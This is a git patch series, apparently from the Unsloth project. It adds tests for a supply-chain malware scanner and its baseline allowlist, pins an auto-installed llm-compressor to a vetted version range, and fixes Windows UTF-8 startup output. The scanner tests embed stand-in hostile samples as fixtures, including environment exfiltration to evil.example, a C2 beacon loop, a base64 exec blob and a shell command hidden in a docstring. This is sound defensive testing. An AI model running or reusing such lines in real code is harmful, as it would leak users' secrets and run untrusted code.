+    fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check]
+    fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check]
+    assert fo and fn
+    assert "Network:" in fo[0].evidence
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_embedded_pem_key_body_change_reopens():
+    # The embedded-key evidence pins the full PEM block via a digest, so swapping
+    # the key body under the same BEGIN/END markers reopens the finding instead
+    # of riding the unchanged marker line.
+    head = "-----BEGIN RSA PRIVATE KEY-----\n"
+    tail = "\n-----END RSA PRIVATE KEY-----"
+    net = "\nrequests.get('http://c2.example')\n"
+    old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}"
+    new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}"
+    fo = [
+        f
+        for f in sp.check_py_file(old, "p/k.py", "p")
+        if f.check.startswith("Embedded cryptographic key + network")
+    ]
+    fn = [
+        f
+        for f in sp.check_py_file(new, "p/k.py", "p")
+        if f.check.startswith("Embedded cryptographic key + network")
+    ]
+    assert fo and fn
+    assert "sha256:" in fo[0].evidence
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_shell_combos_bind_network_evidence():
+    # Both shell combos record their network/exec side, so a changed endpoint
+    # reopens instead of riding the unchanged token or hook line.
+    old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n"
+    new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n"
+    to = [
+        f
+        for f in sp.check_shell_file(old, "p/i.sh", "p")
+        if f.check == "Shell embeds credential regexes AND makes network calls"
+    ]
+    tn = [
+        f
+        for f in sp.check_shell_file(new, "p/i.sh", "p")
+        if f.check == "Shell embeds credential regexes AND makes network calls"
+    ]
+    assert to and tn
+    assert sp._finding_key(to[0]) != sp._finding_key(tn[0])
+    ho = "SessionStart hook installed\nrequests.get('http://old.example')\n"
+    hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n"
+    go = [
+        f
+        for f in sp.check_shell_file(ho, "p/i.sh", "p")
+        if f.check.startswith("Shell installs developer-tool")
+    ]
+    gn = [
+        f
+        for f in sp.check_shell_file(hn, "p/i.sh", "p")
+        if f.check.startswith("Shell installs developer-tool")
+    ]
+    assert go and gn
+    assert "Hook:" in go[0].evidence
+    assert sp._finding_key(go[0]) != sp._finding_key(gn[0])
+
+
+def test_hidden_network_exec_reopens_on_endpoint_change():
+    # The hidden network+exec payload binds both the network and the exec signal,
+    # so changing the docstring exfil URL reopens the finding.
+    old = (
+        '"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n'
+        'os.system("sh -c id")\n"""\nexec(__doc__)\n'
+    )
+    new = (
+        '"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n'
+        'os.system("sh -c id")\n"""\nexec(__doc__)\n'
+    )
+    fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check]
+    fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check]
+    assert fo and fn
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_base64_exec_blob_combo_binds_blob_digest():
+    # The blob may sit on a separate line from the decode call; the finding now
+    # digests it, so a changed payload reopens even with unchanged base64/exec.
+    b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
+    b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
+    f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check]
+    f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check]
+    assert f1 and f2
+    assert "Blob: sha256:" in f1[0].evidence
+    assert sp._finding_key(f1[0]) != sp._finding_key(f2[0])
+
+
+def test_openssl_key_combo_binds_key_evidence():
+    # openssl + embedded key with no network must bind the key, so a changed key
+    # reopens instead of riding the OpenSSL line alone.
+    o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n'
+    o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n'
+    g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check]
+    g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check]
+    assert g1 and g2
+    assert "Key:" in g1[0].evidence
+    assert sp._finding_key(g1[0]) != sp._finding_key(g2[0])
+
+
+def test_anti_analysis_combo_binds_suspicious_side():
+    # The anti-analysis combo records the network/exec side, so a changed exfil
+    # endpoint reopens instead of riding the unchanged sleep/trace line.
+    old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n"
+    new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n"
+    fo = [
+        f
+        for f in sp.check_py_file(old, "p/x.py", "p")
+        if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
+    ]
+    fn = [
+        f
+        for f in sp.check_py_file(new, "p/x.py", "p")
+        if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
+    ]
+    assert fo and fn
+    assert "Network:" in fo[0].evidence
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_dns_exfil_combo_binds_other_side():
+    # The DNS exfil combo records the co-occurring network side, so a changed
+    # endpoint reopens instead of riding the unchanged DNS line.
+    old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n"
+    new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n"
+    fo = [
+        f
+        for f in sp.check_py_file(old, "p/d.py", "p")
+        if f.check == "DNS exfiltration / tunneling patterns"
+    ]
+    fn = [
+        f
+        for f in sp.check_py_file(new, "p/d.py", "p")
+        if f.check == "DNS exfiltration / tunneling patterns"
+    ]
+    assert fo and fn
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_large_js_bundle_finding_is_content_bound():
+    # A large benign JS bundle yields a HIGH carrying a content digest, not empty
+    # evidence: two different bundles in the same size bucket get different keys,
+    # so a malicious bundle cannot ride a baselined empty-evidence entry.
+    big_a = "var x = 1;\n" * 20000  # ~200 KB, benign
+    big_b = big_a + "var exfil = 2;\n"  # different content, same size bucket
+    ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
+    jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
+    assert ja and jb, "large JS bundle must produce a finding"
+    assert ja[0].evidence.startswith("sha256:")
+    assert sp._finding_key(ja[0]) != sp._finding_key(jb[0])
+
+
+def test_pth_large_blob_finding_is_content_bound():
+    # The .pth base64-blob evidence pins the full blob via a digest, so a payload
+    # that keeps the first 120 chars but changes the tail reopens the finding.
+    head = "A" * 120
+    a = [
+        f
+        for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p")
+        if "base64-like blob" in f.check
+    ]
+    b = [
+        f
+        for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p")
+        if "base64-like blob" in f.check
+    ]
+    assert a and b, "large .pth blob must produce a finding"
+    assert "sha256:" in a[0].evidence
+    assert sp._finding_key(a[0]) != sp._finding_key(b[0])
+
+
+def test_pth_import_lines_record_all_not_first_five():
+    # All executable import lines are recorded, so swapping the sixth import for a
+    # malicious one (first five unchanged) still reopens the catch-all finding.
+    base = "".join(f"import mod{i}\n" for i in range(6))
+    swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n"
+    fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check]
+    fs = [
+        f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check
+    ]
+    assert fb and fs
+    assert sp._finding_key(fb[0]) != sp._finding_key(fs[0])
+
+
+def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys):
+    # A legacy baseline predating evidence_hash still loads (hash recomputed) but
+    # must WARN so the maintainer regenerates rather than degrade silently.
+    import json
+
+    bl = tmp_path / "legacy.json"
+    bl.write_text(
+        json.dumps(
+            {
+                "version": 1,
+                "entries": [
+                    {
+                        "package": "p",
+                        "file": "p/x.py",
+                        "check": "c",
+                        "severity": sp.CRITICAL,
+                        "evidence": "L5: while True:",
+                    }
+                ],
+            }
+        )
+    )
+    keys = sp._load_baseline(str(bl))
+    assert keys  # still loaded
+    assert "lack evidence_hash" in capsys.readouterr().err
+
+
 def test_fstring_statement_is_not_blanked():
     # A bare f-string evaluates at import, so it must stay scannable.
     src = "f\"{__import__('os').system('id')}\"\n"
@@ -417,11 +1178,17 @@ def test_comment_only_network_exec_not_flagged():
 
 def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
     bl = tmp_path / "bl.json"
-    listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
+    listed = _mk(
+        sp.CRITICAL,
+        "fastapi",
+        "fastapi/routing.py",
+        "C2 polling/beaconing loop detected",
+        "L579: while True:",
+    )
     sp._write_baseline(str(bl), [listed])
     baseline = sp._load_baseline(str(bl))
 
-    # Same (package, basename, check) -> suppressed.
+    # Same (package, path, check, matched code) -> suppressed.
     active, suppressed = sp._partition_baseline([listed], baseline)
     assert suppressed == [listed] and active == []
 
@@ -432,6 +1199,29 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
     active2, suppressed2 = sp._partition_baseline([new_kind], baseline)
     assert active2 == [new_kind] and suppressed2 == []
 
+    # Same file + same check but CHANGED flagged code -> still active. A future
+    # malicious payload cannot ride a previously reviewed entry's suppression.
+    changed_code = _mk(
+        sp.CRITICAL,
+        "fastapi",
+        "fastapi/routing.py",
+        "C2 polling/beaconing loop detected",
+        "L579: while True: requests.get('http://c2.example/beacon')",
+    )
+    active3, suppressed3 = sp._partition_baseline([changed_code], baseline)
+    assert active3 == [changed_code] and suppressed3 == []
+
+    # A benign line shift of the SAME code stays suppressed (no version churn).
+    shifted = _mk(
+        sp.CRITICAL,
+        "fastapi",
+        "fastapi/routing.py",
+        "C2 polling/beaconing loop detected",
+        "L640: while True:",
+    )
+    active4, suppressed4 = sp._partition_baseline([shifted], baseline)
+    assert suppressed4 == [shifted] and active4 == []
+
 
 def test_write_baseline_roundtrip_only_crit_high(tmp_path):
     bl = tmp_path / "bl.json"
@@ -451,6 +1241,72 @@ def test_load_baseline_missing_file_is_empty():
     assert sp._load_baseline("/nonexistent/path/bl.json") == set()
 
 
+def test_load_baseline_rejects_non_list_entries(tmp_path, capsys):
+    # A malformed baseline whose "entries" is not a list must warn and fail
+    # closed (empty), not raise TypeError when iterated.
+    import json
+
+    bl = tmp_path / "bad_entries.json"
+    bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8")
+    assert sp._load_baseline(str(bl)) == set()
+    assert "entries is not a list" in capsys.readouterr().err
+
+
+def test_committed_baseline_suppresses_known_but_not_a_new_payload():
+    """End-to-end against the shipped allowlist: a reviewed benign finding stays
+    suppressed, but a NEW malicious payload in the same baselined file/check is
+    not (closes the supply-chain bypass where a future botocore/utils.py payload
+    rode the existing CRITICAL entry)."""
+    import json
+
+    baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
+    entries = json.loads(baseline_path.read_text())["entries"]
+    target = next(
+        e
+        for e in entries
+        if e["package"] == "botocore"
+        and e["file"] == "botocore/utils.py"
+        and e["check"] == "Harvests environment variables/secrets AND makes network calls"
+    )
+    baseline = sp._load_baseline(str(baseline_path))
+
+    # The exact reviewed finding is suppressed.
+    benign = _mk(
+        target["severity"], target["package"], target["file"], target["check"], target["evidence"]
+    )
+    active, suppressed = sp._partition_baseline([benign], baseline)
+    assert suppressed == [benign] and active == []
+
+    # A future malicious version: same file, same check, new exfil code. Must
+    # remain ACTIVE so the enforcing gate (exit 1) still trips.
+    malicious = _mk(
+        target["severity"],
+        target["package"],
+        target["file"],
+        target["check"],
+        "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
+    )
+    active2, suppressed2 = sp._partition_baseline([malicious], baseline)
+    assert active2 == [malicious] and suppressed2 == []
+
+
+def test_committed_baseline_entries_all_carry_evidence_hash():
+    """Every shipped entry must pin an evidence_hash; an entry without one would
+    silently fall back to the coarse legacy match for that file/check."""
+    import json
+
+    baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
+    entries = json.loads(baseline_path.read_text())["entries"]
+    assert entries, "committed baseline should not be empty"
+    missing = [
+        f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash")
+    ]
+    assert not missing, f"entries missing evidence_hash: {missing[:5]}"
+    # And each pinned hash matches a recompute from the stored evidence.
+    for e in entries:
+        assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"]
+
+
 # sdist fallback: cover sdist-only packages without building. All offline
 # -- PyPI JSON / download are mocked.
 

From ec4c044e70345138448cab5362f106e0577837ed Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 1 Jul 2026 04:48:38 -0700
Subject: [PATCH 169/306] Pin llm-compressor auto-install to a vetted version
 range (#6778)

* Pin llm-compressor auto-install to a vetted version range

install_llm_compressor() auto-installs llm-compressor on first use of an FP8/FP4
compressed export when it is not already present. The install command used the bare
package name, so pip resolved to whatever the configured index served; a compromised,
dependency-confused, or inflated-version ("999.0.0") release could then run under the
Unsloth process at install and import time.

Bound the automatic install to a vetted range
(_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.8.0,<0.13"), which the oneshot /
QuantizationModifier API this uses supports, so pip can no longer jump to an arbitrary
future or inflated version. An already-installed newer llm-compressor is still used
as-is (the import short-circuits), so this only constrains the auto-install, never a
user's own install.

Add UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the automatic install
entirely and require a manual, vetted install, for locked-down or air-gapped
environments. Update the manual-install hints to the pinned spec.

Add tests/saving/test_llm_compressor_install_pin.py: static (ast) guards that the spec
stays a bounded pin, that the install command never passes an unpinned llmcompressor
literal, and that the opt-out env gate is evaluated before any install runs.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Loosen llm-compressor auto-install ceiling to <1.0 so new models still export

The earlier <0.13 ceiling was too tight: brand-new architectures (for example
Qwen3_5ForConditionalGeneration / qwen3_5, gemma-4 MoE) can require a newer
llm-compressor, and _unsloth_save_compressed_tensors already fails with
"requires a newer llm-compressor" when a scheme is unavailable. Capping the
auto-install at 0.12 would block getting that newer release and break compressed
export for new models.

Widen to llmcompressor>=0.8.0,<1.0. pip still auto-installs the latest 0.x
(where new-architecture support lands), while the <1.0 ceiling continues to block
a jump to an inflated-version ("999.0.0") or 1.0+ dependency-confusion release.
An already-installed newer llm-compressor is still used as-is (the import
short-circuits), and UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL still forbids the
automatic install entirely for locked-down environments.

* Lower llm-compressor floor to 0.6.0 so supported old torch still resolves

The >=0.8.0 floor conflicts with the torch this install pins in its constraints
file. Unsloth supports torch>=2.4, but llm-compressor 0.7.0+ require torch>=2.7
(0.10+ need >=2.9, 0.12+ need >=2.10). On a supported torch 2.4-2.6 box pip then
has no candidate in [0.8.0, 1.0) and FP8/FP4 export fails before quantization.

Lower the floor to 0.6.0 (its metadata only needs torch>=1.7), which never
conflicts with any supported torch. pip still prefers the newest compatible
release, so modern torch continues to get the latest 0.x (0.12.0). The <1.0
ceiling that blocks an inflated-version supply-chain jump is unchanged.

Add a regression test asserting the floor stays <= 0.6.0.

* Cap llm-compressor auto-install ceiling to a vetted minor (<0.13)

A bare <1.0 ceiling still admits any 0.x, so an inflated "0.999.0" served by a
compromised or misconfigured index would win pip's highest-version selection --
the same dependency-confusion this pin is meant to block. Cap the ceiling to the
current vetted minor (<0.13) so that jump is blocked; bump it deliberately, after
vetting, when a newer llm-compressor is needed (e.g. for a brand-new architecture
scheme). Current new models are unaffected: 0.12.0 is < 0.13 and supports them.

The 0.6.0 floor (torch>=1.7 compatible) is unchanged, so resolution still works
across Unsloth's whole supported torch range (2.4 -> 0.6.0 ... 2.12 -> 0.12.0).

Add a regression test asserting the ceiling admits the current vetted release but
blocks an inflated 0.x and the next major.

* Trim comments in the llm-compressor pin (comment-only, no code change)

* Cap llm-compressor auto-install to the exact vetted patch (<=0.12.0)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../saving/test_llm_compressor_install_pin.py | 112 ++++++++++++++++++
 unsloth/save.py                               |  38 ++++--
 2 files changed, 142 insertions(+), 8 deletions(-)
 create mode 100644 tests/saving/test_llm_compressor_install_pin.py

diff --git a/tests/saving/test_llm_compressor_install_pin.py b/tests/saving/test_llm_compressor_install_pin.py
new file mode 100644
index 0000000000..c2ddfb14e2
--- /dev/null
+++ b/tests/saving/test_llm_compressor_install_pin.py
@@ -0,0 +1,112 @@
+"""Static guards (no import/network/GPU, like test_save_shell_injection.py) that
+install_llm_compressor()'s first-use auto-install of llm-compressor stays version-pinned to a vetted
+range and keeps its opt-out env gate, so a compromised/inflated release can't be auto-pulled."""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+
+_ENV_FLAG = "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL"
+
+
+def _module() -> ast.Module:
+    return ast.parse(SAVE_PY.read_text(encoding = "utf-8"), filename = str(SAVE_PY))
+
+
+def _get_function(name: str) -> ast.FunctionDef:
+    for node in ast.walk(_module()):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    raise AssertionError(f"Function {name} not found in save.py")
+
+
+def _spec_value():
+    for node in ast.walk(_module()):
+        if isinstance(node, ast.Assign) and isinstance(node.value, ast.Constant):
+            if any(
+                isinstance(t, ast.Name) and t.id == "_LLM_COMPRESSOR_SPEC" for t in node.targets
+            ):
+                return node.value.value
+    return None
+
+
+def _first_lineno(fn: ast.AST, predicate) -> int | None:
+    lines = [n.lineno for n in ast.walk(fn) if predicate(n) and hasattr(n, "lineno")]
+    return min(lines) if lines else None
+
+
+def test_spec_is_a_bounded_pin() -> None:
+    spec = _spec_value()
+    assert spec is not None, "_LLM_COMPRESSOR_SPEC must be defined at module scope"
+    assert "llmcompressor" in spec, f"spec must name llmcompressor, got {spec!r}"
+    # A lower and an upper bound: pip cannot jump to an arbitrary (e.g. inflated) future release.
+    assert ">=" in spec and "<" in spec, f"spec must have lower and upper bounds, got {spec!r}"
+
+
+def test_ceiling_blocks_inflated_versions() -> None:
+    """Cap to the exact vetted patch: block an inflated 0.x, a new major, and any higher in-range patch."""
+    from packaging.requirements import Requirement
+
+    spec = Requirement(_spec_value()).specifier
+    assert spec.contains("0.12.0"), "the current vetted release must resolve"
+    assert not spec.contains("0.999.0"), "an inflated 0.x must be blocked"
+    assert not spec.contains("1.0.0"), "a new major must not be auto-installed"
+    assert not spec.contains(
+        "0.12.1"
+    ), "a higher in-range patch must be blocked (cap to the vetted patch)"
+    assert not spec.contains(
+        "0.12.999"
+    ), "a crafted higher in-range patch (e.g. on a mirror) must be blocked"
+
+
+def test_floor_stays_compatible_with_supported_torch() -> None:
+    """Floor must stay <=0.6.0: 0.7+ need torch>=2.7, but the pinned torch can be as old as 2.4."""
+    from packaging.requirements import Requirement
+    from packaging.version import Version
+
+    req = Requirement(_spec_value())
+    lowers = [Version(s.version) for s in req.specifier if s.operator in (">=", "==", "~=")]
+    assert lowers, "spec must declare a lower bound"
+    assert max(lowers) <= Version("0.6.0"), (
+        f"floor {max(lowers)} requires a torch newer than Unsloth's minimum (2.4); "
+        "llm-compressor >0.6.0 needs torch>=2.7. Keep the floor <= 0.6.0."
+    )
+
+
+def test_install_command_uses_pinned_spec_not_bare_name() -> None:
+    fn = _get_function("install_llm_compressor")
+    # No argv list may pass the bare, unpinned package literal "llmcompressor".
+    for node in ast.walk(fn):
+        if isinstance(node, ast.List):
+            for elt in node.elts:
+                if isinstance(elt, ast.Constant) and elt.value == "llmcompressor":
+                    raise AssertionError(
+                        "install command must not pass an unpinned 'llmcompressor' literal; "
+                        "use the bounded _LLM_COMPRESSOR_SPEC"
+                    )
+    names = {n.id for n in ast.walk(fn) if isinstance(n, ast.Name)}
+    assert "_LLM_COMPRESSOR_SPEC" in names, "install command must reference _LLM_COMPRESSOR_SPEC"
+
+
+def test_optout_env_gate_precedes_subprocess_install() -> None:
+    fn = _get_function("install_llm_compressor")
+    env_line = _first_lineno(fn, lambda n: isinstance(n, ast.Constant) and n.value == _ENV_FLAG)
+    assert env_line is not None, f"{_ENV_FLAG} opt-out must be checked in install_llm_compressor"
+
+    def _is_check_call(n: ast.AST) -> bool:
+        return (
+            isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Attribute)
+            and n.func.attr == "check_call"
+            and isinstance(n.func.value, ast.Name)
+            and n.func.value.id == "subprocess"
+        )
+
+    install_line = _first_lineno(fn, _is_check_call)
+    assert install_line is not None, "expected a subprocess.check_call install in the function"
+    assert (
+        env_line < install_line
+    ), "the auto-install opt-out must be evaluated before any package install runs"
diff --git a/unsloth/save.py b/unsloth/save.py
index 76bc6aa733..226ca5fed8 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -1363,11 +1363,18 @@ def install_python_non_blocking(packages = []):
     return run_installer
 
 
+# Bound the first-use auto-install so no unvetted release is pulled: not an inflated "0.999.0", nor
+# a crafted higher in-range patch like "0.12.999" from a mirror. Cap to the exact vetted patch and
+# bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below).
+_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0"
+
+
 def install_llm_compressor():
     """Import llm-compressor, installing it on first use for FP8/FP4 export.
 
-    Pins the current torch + transformers so pip does not upgrade them (a plain install pulls
-    transformers>=5 and breaks Unsloth). Returns (oneshot, QuantizationModifier).
+    Installs a version-pinned llm-compressor, pinning the current torch + transformers so pip does
+    not upgrade them. Set UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the auto-install.
+    Returns (oneshot, QuantizationModifier).
     """
     try:
         from llmcompressor import oneshot
@@ -1376,9 +1383,24 @@ def install_llm_compressor():
     except Exception:
         pass
 
+    # Opt-out for locked-down / air-gapped setups: forbid the auto-install, require a manual one.
+    if os.environ.get("UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL", "0").lower() not in (
+        "0",
+        "",
+        "false",
+        "no",
+    ):
+        raise RuntimeError(
+            "Unsloth: llm-compressor is required for FP8/FP4 compressed export but is not "
+            "installed, and automatic installation is disabled via "
+            "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL. Install it manually with:\n"
+            f"    uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
+            "(pin torch and transformers to your current versions to avoid upgrading them)."
+        )
+
     print(
         "Unsloth: Installing llm-compressor for FP8/FP4 export "
-        "(pinning your torch + transformers so they are not upgraded). "
+        f"({_LLM_COMPRESSOR_SPEC}; pinning your torch + transformers so they are not upgraded). "
         "This can take a few minutes..."
     )
     import importlib
@@ -1401,13 +1423,13 @@ def install_llm_compressor():
     import importlib.util
 
     if importlib.util.find_spec("pip") is not None:
-        cmd = [sys.executable, "-m", "pip", "install", "llmcompressor"]
+        cmd = [sys.executable, "-m", "pip", "install", _LLM_COMPRESSOR_SPEC]
     elif shutil.which("uv") is not None:
-        cmd = ["uv", "pip", "install", "--python", sys.executable, "llmcompressor"]
+        cmd = ["uv", "pip", "install", "--python", sys.executable, _LLM_COMPRESSOR_SPEC]
     else:
         raise RuntimeError(
             "Unsloth: cannot install llm-compressor because this environment has neither pip nor "
-            f"uv. Install it manually with:\n    uv pip install --python {sys.executable} llmcompressor\n"
+            f"uv. Install it manually with:\n    uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
             "(pin torch and transformers to your current versions to avoid upgrading them)."
         )
     cpath = None
@@ -1421,8 +1443,8 @@ def install_llm_compressor():
     except subprocess.CalledProcessError as e:
         raise RuntimeError(
             "Unsloth: Failed to install llm-compressor. Install it manually with:\n"
-            f"    uv pip install --python {sys.executable} llmcompressor\n"
-            f"or, if pip is available:\n    {sys.executable} -m pip install llmcompressor\n"
+            f"    uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
+            f"or, if pip is available:\n    {sys.executable} -m pip install '{_LLM_COMPRESSOR_SPEC}'\n"
             "(pin torch and transformers to your current versions to avoid upgrading them).\n"
             f"Underlying error: {e}"
         )

From 482d7970f90ce5784b9a238edbdbea73dde36cbe Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Wed, 1 Jul 2026 13:47:33 +0100
Subject: [PATCH 170/306] Fix Windows Studio UTF-8 startup handling (#6614)

Extracted and narrowed from unslothai/unsloth#6543 by @TheJagStudio.

This keeps the startup/banner and text file encoding hardening separate from the already-merged Python code-exec UTF-8 fix in #6548.

Co-authored-by: Jagrat Patel <81472856+TheJagStudio@users.noreply.github.com>
---
 studio/backend/core/training/trainer.py       |  4 +-
 studio/backend/main.py                        | 12 ++++++
 studio/backend/startup_banner.py              | 20 +++++++--
 .../tests/test_startup_banner_loopback.py     | 41 +++++++++++++++++++
 unsloth_cli/commands/chat.py                  |  2 +-
 unsloth_cli/commands/studio.py                |  2 +-
 6 files changed, 73 insertions(+), 8 deletions(-)

diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index 6f55daee39..20b2305a5a 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -3672,7 +3672,7 @@ class UnslothTrainer:
             return
 
         try:
-            with open(config_path, "r") as f:
+            with open(config_path, "r", encoding = "utf-8") as f:
                 config = json.load(f)
 
             # Determine training method
@@ -3686,7 +3686,7 @@ class UnslothTrainer:
             config["unsloth_training_method"] = method
             logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'")
 
-            with open(config_path, "w") as f:
+            with open(config_path, "w", encoding = "utf-8") as f:
                 json.dump(config, f, indent = 2)
 
         except Exception as e:
diff --git a/studio/backend/main.py b/studio/backend/main.py
index 0a5b775775..8b8a5fe787 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -24,6 +24,18 @@ os.environ["PYTHONWARNINGS"] = "ignore"
 # process is covered before its heavy ML imports.
 os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")
 
+# Windows terminals default to the active system code page. Reconfigure
+# stdout/stderr before the startup banner so non-ASCII output cannot crash the
+# backend process.
+if sys.platform == "win32":
+    for _win_stream in (sys.stdout, sys.stderr):
+        if _win_stream is not None and hasattr(_win_stream, "reconfigure"):
+            try:
+                _win_stream.reconfigure(encoding = "utf-8", errors = "replace")
+            except Exception:
+                pass
+    del _win_stream
+
 # ── Windows AMD ROCm DLL injection ──────────────────────────────────────────
 # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with
 # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import.
diff --git a/studio/backend/startup_banner.py b/studio/backend/startup_banner.py
index 13d6f8ef5e..ea951a4325 100644
--- a/studio/backend/startup_banner.py
+++ b/studio/backend/startup_banner.py
@@ -12,6 +12,18 @@ import os
 import sys
 
 
+def _safe_print(text: str) -> None:
+    """Print text without crashing on terminals that cannot encode Unicode."""
+    try:
+        print(text)
+    except UnicodeEncodeError:
+        encoding = getattr(sys.stdout, "encoding", None) or "ascii"
+        try:
+            print(text.encode(encoding, errors = "replace").decode(encoding))
+        except LookupError:
+            print(text.encode("ascii", errors = "replace").decode("ascii"))
+
+
 def stdout_supports_color() -> bool:
     """True if we should emit ANSI colors."""
     if os.environ.get("NO_COLOR", "").strip():
@@ -28,9 +40,9 @@ def print_port_in_use_notice(original_port: int, new_port: int) -> None:
     """Message when the requested port is taken and another is chosen."""
     msg = f"Port {original_port} is in use, using port {new_port} instead."
     if stdout_supports_color():
-        print(f"\033[38;5;245m{msg}\033[0m")
+        _safe_print(f"\033[38;5;245m{msg}\033[0m")
     else:
-        print(msg)
+        _safe_print(msg)
 
 
 def print_studio_stop_hint() -> None:
@@ -44,7 +56,7 @@ def print_studio_stop_hint() -> None:
     def style(text: str, code: str) -> str:
         return f"{code}{text}{reset}" if use_color else text
 
-    print(
+    _safe_print(
         "\n".join(
             [
                 "",
@@ -180,4 +192,4 @@ def print_studio_access_banner(
             ]
         )
 
-    print("\n".join(lines))
+    _safe_print("\n".join(lines))
diff --git a/studio/backend/tests/test_startup_banner_loopback.py b/studio/backend/tests/test_startup_banner_loopback.py
index e82b741a7b..c8875bf5db 100644
--- a/studio/backend/tests/test_startup_banner_loopback.py
+++ b/studio/backend/tests/test_startup_banner_loopback.py
@@ -5,6 +5,9 @@
 only for the exact loopback aliases, so any other bind (e.g. a specific LAN IP)
 must show its real address."""
 
+import io
+import sys
+
 import pytest
 
 from startup_banner import print_studio_access_banner
@@ -22,3 +25,41 @@ def test_non_alias_loopback_shows_real_address(capsys):
 def test_alias_loopback_shows_canned_url(capsys, host):
     print_studio_access_banner(port = 8891, bind_host = host, display_host = host)
     assert "http://127.0.0.1:8891" in capsys.readouterr().out
+
+
